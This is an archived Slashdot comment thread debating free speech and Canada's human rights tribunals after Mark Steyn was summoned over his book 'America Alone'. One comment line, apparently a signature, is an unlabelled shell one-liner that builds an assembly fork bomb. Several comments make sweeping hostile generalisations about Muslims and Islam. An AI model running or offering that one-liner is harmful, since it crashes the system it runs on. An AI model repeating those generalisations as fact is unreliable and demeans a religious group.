Slashdot Mirror
Author Faces Canadian Tribunal For Hate Speech
An anonymous reader writes "A Seattle Times editorial notes that the British Columbia Human Rights Tribunal will put author Mark Steyn on trial for his book 'America Alone,' which has angered Muslims in Canada. Steyn is a columnist for the Canadian magazine Maclean's. According to the editorial, British Columbia bans all words and images 'likely to expose a person... to hatred or contempt because of race, religion, age, disability, sex, marital status or sexual orientation.' Steyn is unapologetic, and is advertising his book as a 'Canadian Hate Crime' and daring the tribunal to 'pronounce him bad.'" The Canadian tabloid the National Post has coverage of what it calls "a media storm."
Been near a college campus lately???
No, but the subject is facing a tribunal for hate speech. That doesn't mean he's guilty.
But even if he was, so what? Short of inciting violence, why shouldn't he be able to say that he hates orange people or that Pastafarians are evil? Good for Steyn for taking this and running with it. Who wants to live in a world where you're not allowed to explain why you dislike someone?
Dewey, what part of this looks like authorities should be involved?
I thought we were ALREADY headed that way with crap like "free speech zones". The easiest way to control the masses is to ensure that no thoughts contradicting those in power can be heard. But that is my 02c, which ATM I am still able to post without fear of getting my door kicked in (I hope),YMMV
ACs don't waste your time replying, your posts are never seen by me.
To silence others who say things that may make you uncomfortable is not a human right.
To be able to say things that may make people uncomfortable is.
I would ask the BC HRT: Is your mandate to preserve human rights? Or is it to restrict them?
Your mind is clear / The things that you fear / Will fade with how much you / Believe what you hear
As a Canuck, I can tell you that the human rights tribunal stuff is very scary...because they operate under the effective assumption that you are guilty until proven innocent, they do not conform to the crimina code of Canada, and there is no jury of peers.
Essentially it's a kangaroo court that is allowed to issue 'sentences' that are themselves not in keeping with the criminal code, but are legally binding in the sense that you can be charged with contempt of the court.
It's the dark side of over-liberalization, and the belief that you have the right to NOT be offended.
Tolerance does not mean you have to like someone...just put up with them.
I am not a citizen of US and I don't understand why the US needs to fix all the bugs in its system before people are even allowed to talk about problems they might see elsewhere? Sure the recent governments have done a lot to erode freedom and privacy to a great deal, but the almost absolute support for free speech in its system remains one of the best things about US. And I don't see why US citizens can't discuss (and even mock) other countries where some fuzzy notion of hate-speech is turned into a law.
Talking about how the system in US sucks when the topic at hand is about Canada makes me feel you are just karma-whoring for +5 Insightful.
...when one can make a spoof of "Life of Brian" but with Islamic connotations, without fearing for his/her life. For those that don't know, "Life of Brian" makes fun of both Christians and Jews, in a massive way. It's by far not the only movie that does that - in fact, both Christianity and Judaism (and Christians and Jews) have been on the receiving end of satire and comedy in all forms of artistic expression (plays, books, movies, figurative arts). And by "receiving" I don't mean it necessarily in a negative way.
I don't know how Islam got so protected and the Muslims so protective. It would almost seem like lack of self-confidence.
"The agriculture ministry is not in charge of Gundam" - Japanese ministry official.
We have a more efficient system in the USA: any violation of political correctness will get you fired, pilloried, and defamed mercilessly. In certain careers, your career is often destroyed. And of course whether what was said is true or not is irrelevant.
Most people don't even think inside the box.
Its being done by the government
Once you ban one type of speech, none is free.
---- Booth was a patriot ----
1. Legal doesn't mean moral or right.
2. Free speech is designed to protect unpopular speech. Show me one ounce of evidence Steyn has impacted anyone's right to a happy and free life -- other than being unhappy he's saying something bad about them. The idea that the law gives you a right to not be offended is dangerous.
3. The quote about mosquitoes is not original to Mark Steyn: he was quoting an Imam. As for offering a rebuttal, it's their magazine, their printing press. Why should they allow a rebuttal? Am I allowed to write a column in the New York Times if they print something I disagree with? No. Is Microsoft allowed to force Slashdot to post a pro-Vista rebuttal on the main page? No. Do we want that sort of stupid to be a law? No. It might seem nice and fair if you don't think about it, but when you do, you'll see a thousand ways it would be abused and used to bog down free speech to the point no one says anything someone else might not like for fear of having to let the someone else use their resources to yammer on and on about how wronged they were.
Also, considering the stink this idiot commission raised against Ezra Klein -- a rather liberal fellow who happened to publish some cartoons depicting Mohammad -- I don't trust it, especially when almost all the decisions directly financially benefit a former member of the council, Richard Warman. And these "awards" he gets aren't taxable.
im turkish. what he says is not what he conceives, or he expects or etc.
what he is saying about muslims taking over europe and putting women in burka and banning alcohol and bringing a medieval middle eastern culture all over europe is NOT what he imagines, its what MUSLIM GROUPS that hold great leverage and followers, say. they are OPENLY declaring that this is their intention. all around europe. in uk, netherlands, france and germany, these are going around in underhand jihad and propaganda cd distributions, in meetings or in obscure, far from sight mosques. but in turkey, now, there is a firm islamist government in control thanks to the votes from the islamists who SAID they were going to multiply and turn turkey to an islamist state back 20 years ago. and thanks to that islamist government, many sheiks, groups, 'charities' that were doing the same thing thats happening europe underhand, now are OPENLY and clearly declaring their intentions in public. no - not extreme, radical, eccentric people these are. these are major leaders of the islamist segments of the society. they are openly saying that democracy is no good, the only 'salvation' can be found under islamist republic with a theology, everyone HAS to live under the rules of islam. and when the constitutional court here tries to prosecute them for anti democratical and secular behaviour, guess what happens - they run to european union, and in an APPALLING move, european union supports, and tries to protect these people from being prosecuted inside turkey's borders according to turkey's own laws. i dont know which is more appalling though, the intervention in another country's LEGAL system, or the fact that eu, which is an organization that purports to be founded on ideals of humanism, democracy, modern values, actually protects people who say they WILL abolish democracy, and all of those modern values. no. dont do err here - its not 'opinion' or 'freedom of speech' or anything, they ARE actually taking measures and taking action to that extent - setting up 'charities' that fund 'boarding schools' in which youngsters aged 6 to 22 are brainwashed against EVERY of modern ideals we hold dear today, including freedom of speech, and non discrimination. and yes, indeed discrimination and hatred against western values are brainwashed into those kids, they are taught that west is rotten morally, anything good has to pertain to islam, jews, europe and us are satan, and they should fight against them. from whence do i know ? i HAVE been in those places. and i have many acquaintances and even relatives, who actually are lost to that brainwashing. it is sad. in turkey, since the last 6 years under this islamist party, enmity towards modernism and west has reached a peak.
what is more appalling for me is the stance of the 'mild' muslims, who supposedly constitute the majority of muslims in the world. what they dont realize that, under islam, there can be no mild muslim, and any idea to the contrary is make believe, and self delusion. in islam, there are very solid orders in koran that openly, plainly orders that muslims have to fight jews and christians, and either forcibly convert them, or subdue and take tribute from them (maida surah, 9/29) and similar. one would try to argue that, it was valid at that time, in 600 AD, but it has to be commented, interpreted in some other way, but you cant. when you try to do this, you hit a solid wall ; according to islam, koran is the unchanged word of god. noone's word, including mohammad's word can be held over koran. it is god's will. AND koran states multiple times (around 7 separate places actually) that it is a very clear, understandable book that does not require any interpretation, intermediary (cleric, priest or anything), or reference from other places. when you combine these 3 facts, you CANT argue anything against someone says that muslims should fight against jews and christians.
thats why all the modernist, reformist ideas that some people are trying to spread around in middle east are hitting
Read radical news here
Muslims are planning to take over the West, just like Christians planned to take over the West, Capitalist and Communists planned to take over the west, etc.
Just because we're currently dominated by a certain ideological set doesn't mean that it's native or natural in anyway.
However, "universal" ideologies by their very nature need to spread or perish. There is a reason that Asataru and Judaism don't evangelize -- it's cause you're either one of them or you're not. period.
However, people can be "converted" to Christianity, Islam, Capitalism or Communism... and those that won't buy in, clearly just need to be gotten rid of.
> The purpose is to stop people from encouraging or enticing hate.
That's already over the line. The second you put yourself (or worse, annoint ANYONE to) the position of deciding what thoughts are proper and which improper you are a threat to liberty. And for the record, I HATE YOUR FASCIST GUTS.
There, I'm now a hater. And I'll defend my right to hate anybody I get a hankering to hate to the death.. although as a non-pacifist I'll vastly prefer the death of the other guy if it comes to violence. Of course, being a friend of Liberty I'll also defend your right to hate me right back.... just as long as it's just words in the arena of ideas. So long as the factions are just waving signs in the street it's all just a 'frank exchange of ideas.'
Remember Freedom Zero: If you don't have the Right to be Wrong (in the other guys' opinion) you can never be Free.
Democrat delenda est
Look at it this way. There's a group which tends to have large families and indoctrinates people to believe in a highly illiberal ideology. Let's forget the religion and skin colour. Imagine if it was purely a political movement that threatens to kill critics even outside the group and interprets criticism in an incredibly wide way. E.g. by telling people to kill authors and cartoonists in far away secular countries even though what they wrote or drew seems innocuous to outsiders. And it targets homosexuals and any women that want to marry outside the group. Men are free to screw unbelieving women. At this point large numbers of its adherents arrive, legally and illegally, in liberal societies with low birth rates. Most of them end up poor and very much under its control. It tells them they are poor because society is too liberal. Potentially it could start to field political candidates in areas where its members are in a majority, and since it tends to deal violently dissenters and brainwash members to be obedient it could tell those members to vote for them at meetings and they probably would.
Doesn't that strike you as a threat to those liberal societies in the long run?
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
You're only allowed to say you hate white people, especially white men, anything else and you're a racist hate monger.
Perhaps it's not simply a case of irrational or nationalistic bias as you seem to think it is, and more a case of sometimes criticism of America deserves +5 and sometimes defense of America does. Contrary to popular belief, we're neither a wholly moral and righteous nation, nor a wholly evil and manipulative one.
When you label any criticism of America as "oh, they're just bashing the US again", you make it so that valid criticism is ignored as though it were invalid, which thwarts any efforts to improve America, and encourages actions which worsens us.
But that is the most ridiculous right anyone can ask for. Sometimes truth offends people, does that me we should lie to them instead? And what about religion? Some religious people are offended by any attempt to question their belief-system, does that mean we can no longer criticize any religion? And what if a religion offends certain people, is that allowed?
It only takes one man to change the Wisdom of the Crowd to Tyranny of the Masses.
It's already happening and has been happing for well over a hundred years. Ever read the 10th Amendment. Particularly the following:
Congress, the President and the courts have been ignoring the 10th Amendment for ages.
And weren't many of those 100% conviction complaints pushed through by complaints from Jewish Groups such as this one from the B'Nai Brith?
http://www.uruknet.de/?p=33030
When Mark Steyn writes for the Jewish World Review (http://www.jewishworldreview.com/0802/steyn1.asp) the B'Nai Brith doesn't seem to complain though.
You see, I'm not a big fan of hate crime laws, but when you fight for hate crime laws you can expect others to use those as well. I'd prefer to see less censorship, but people have been jailed in Canada for saying there was no Genocide.
To use the example of the witch trials:
1. People were paid to report witches.
2. Evidence was considered irrelevant when judging witches.
3. All of the "witch's" property was confiscated and used as "payment" for the judges, torturers, executioners, etc.
In light of all that, is it really any surprise that they kept finding witches?
Likewise, these "human rights commissions" exist solely to punish people accused of spreading hate. And they use a framework similar to the witch-hunts:
1. With a 100% conviction rate, they guarantee that the accuser will be paid for accusing someone - anyone.
2. "Questioning" is conducted in private, without a lawyer, and evidence is largely irrelevant.
3. The "defendant", who is always found guilty, is ordered to pay up to the accuser, while taxpayers foot the bill for the process.
So in light of that, is it any wonder that they keep prosecuting and convicting innocent people? While the very basis for these commissions is in itself flawed, the far larger problem is the way in which the commissions are set up. They are extra-judicial bodies which have no accountability, and no supervision.
Do we really need a separate judicial system which doesn't answer to anyone, just so we can stop offencive speech?
If I tell 20 people who actually listen to me to go kill the President of the United States, then I'm not guilty of anything. After all, I have freedom of speech, right? I can say anything I want, right? Hate Crimes in Canada are not in place to prevent people from saying hateful things. They are in place to prevent people from hiding behind freedom of speech when they are actually attempting to incite violence against a particular group of people (particularly minorities).
... Hate Crimes is THE big new growth area for the State.
I've never been fond of the notion of "hate crimes". Acts, are either legal or they are not.
Why should the victim of a crime (take your pick) be considered more protected than another in an otherwise similar circumstance because of the vague notion of a "hate crime"? (Some people are more protected than others?)
Why should the perpetrator be considered more "vile" than another in an otherwise similar circumstance because of the vague notion of a "hate crime"? (Some people are less protected than others?)
There is either equality under the law or there is not.
With the introduction of "hate crimes" equality under the law goes out the window because we've replaced "facts" with "feelings" (for the uninformed "hate" is an extreme feeling).
It's just a matter of time before "hate" is replaced with "thought". And now that "speech" equals "hate" that day gets ever closer.
For shame Canada. For shame.
I don't think people should have the "right to not be offended." I believe originally, free speech was limited not to prevent people from getting offended, but to prevent people from getting killed for opening their mouths. But with the (relatively) recent "politically correct" movement, all the sudden you can't say anything that hurts anyone's feelings. If you get your feelings hurt now, you can sue. That's BS.
And here's why: If the government wants to say, "you can't say offensive things" then it's also up to the government to decide what is offensive, which they will naturally do a poor job of. Of course, this doesn't include slander. I'm merely talking about opinions, which anyone should be allowed to voice freely. You can't change a person's feelings by silencing them; in fact, it's likely to do the opposite.
What's so bad about getting your feelings hurt anyway? Sticks and stones.
The path to enlightenment is truly through homemade drugs!
No, the problem is people who are unable to think for themselves sufficiently to ignore obvious bullshit. Heck, if you're so weakminded that you can be induced to commit a crime because you read a book, well, you probably need psychiatric care. Furthermore, the author of that book is not responsible for your actions: you are. I perceive any attempt by government to deem any particular creative work as inappropriate to be insincere, paternalistic and insulting.
... just deal with it.
This attempt to suppress certain forms of speech because they "incite" people is just as wrongheaded as rationalizing video cameras on every street corner in order to stop terrorism. Neither "solution" gets to the root of either problem, and have been about as effective as trying to cure diarrhea by tinkering with the plumbing in your house. Put it this way: hate usually spreads among the ignorant, among those with no sense or knowledge of history or other peoples. If you want to prevent hate crimes, eliminating one of the basic causes for hatred (ignorance) is a better solution than legislating civil liberties away. It just takes education.
The other big problem in the world today is that people have become spineless weaklings, unable to stand up to those who say, "I find your speech offensive and I will try to intimidate you until you stop." So far as I'm concerned, the Muslims (at least, the vocal ones) are living in a glass house: if they don't want to hear anything offensive to their religion and/or way-of-life then stop saying bad things about everyone else's. Odds are I'll keep my trap shut if you keep yours under control. Otherwise
The higher the technology, the sharper that two-edged sword.
The purpose of the law has never been to govern thought.. but expression.
Oh, well, that's such a relief! There's no law against thinking what I want to think, just against saying it? I guess it's not a problem them.
At issue is encouraging others to do so.
I'm going to encourage anyone who will listen to hate fascist thought-crime enforcers like you.
-jcr
The only title of honor that a tyrant can grant is "Enemy of the State."
> If you want another area of the law where the intent of the crime plays
> a role in sentencing try manslaughter and murder, the mental state of
> the attacker has a big influence on the sentence.
And it should. If some Klansman or Rev. Wright follower kills somebody of their preferred hated group the odds are very high that they would do it again. That's why it is proper to take mental state into account at that point. You got that part right.
But arresting Rev. Wright for 'hating on whitey' BEFORE he kills anyone or incites a riot (as opposed to Rev. Sharpton who does have blood on his hands yet walks free) is just wrong. I think Rev. Wright is an asshat and Obama is a fellow traveller in hatred that disqualifies him from high office. I do have the right to use their hatred in judging them as regards things like public office. I assert that I also have the right to refuse them service, a belief the government will imprision me for acting upon. In the they MUST have the right to be wrong, idiots, wicked, whatever disparaging term we the sane want to heap upon them, right up to the point where they actually become violent or become a clear and present danger via inciting violence. For if we deny their liberty ours will surely be forfit.
And that is where this whole mess in Canada crosses the line. Steyn has done nothing violent, nor has he incided anyone else to commit violence. But he is on trial and while I don't think these thugs can imprision him they can, and planned to, bankrupt him. Whether they back down now that the spotlight is on them or scurry back into the shadows with the cockroaches doesn't change anything.
Democrat delenda est
Christianity most certainly has been involved in racism, and as a direct counter to your specific argument, texts in both the Old and New Testament refer to wiping out specific groups of people. The entire final book of the New Testament is about those that don't believe in Christ. They end up facing their judgement and eternal torture.
It is disturbing to me that in your efforts to cast Christianity as the only non-racist religion, you have simultaneously cast Hinduism and Islam as racist in their entirety.
That sounds like racism to me, or at least xenophobia, which is just a step away.
By the way, where is your defense of christianity? All I see is you jousting at windmills and setting up strawmen about islam.
When information is power, privacy is freedom.
Democracy is an inadequate substitute for freedom. European post-Christian socialism has produced an unsustainable society. The result will be a very different Europe in 50 years.
So would a history book be in trouble for casting Nazis in a bad light?
Exactly. Within a couple of years of this law being put into place, Ernst Zundel got put on trial for Holocaust denial. The result was that a member of the lunatic fringe got a national podium to speak from. How many people know about Steyn? Well, a lot now; his book will sell like hotcakes as a result of this trial. Criticisms of his arguments had all but laid it to rest, but there will be no stopping it now.
The people mounting this attack are the most politically inept lot I have ever seen. This is an own goal in overtime. I have a good idea of what the hate speech law was trying to prevent, but it is being applied to stifle any criticism of any cultural tradition, which means that regardless of how dysfunctional imported customs are, no one can actually come out and say they're messed up. The people in these human rights tribunals don't even have any credentials to justify their authority--and they get to define what hate speech is. So the trial will generate a lot of discussion outside of Canada, but those inside Canada will have to be careful what they say, because it might be considered hate speech.
With a single stroke, civilization is stopped in its tracks.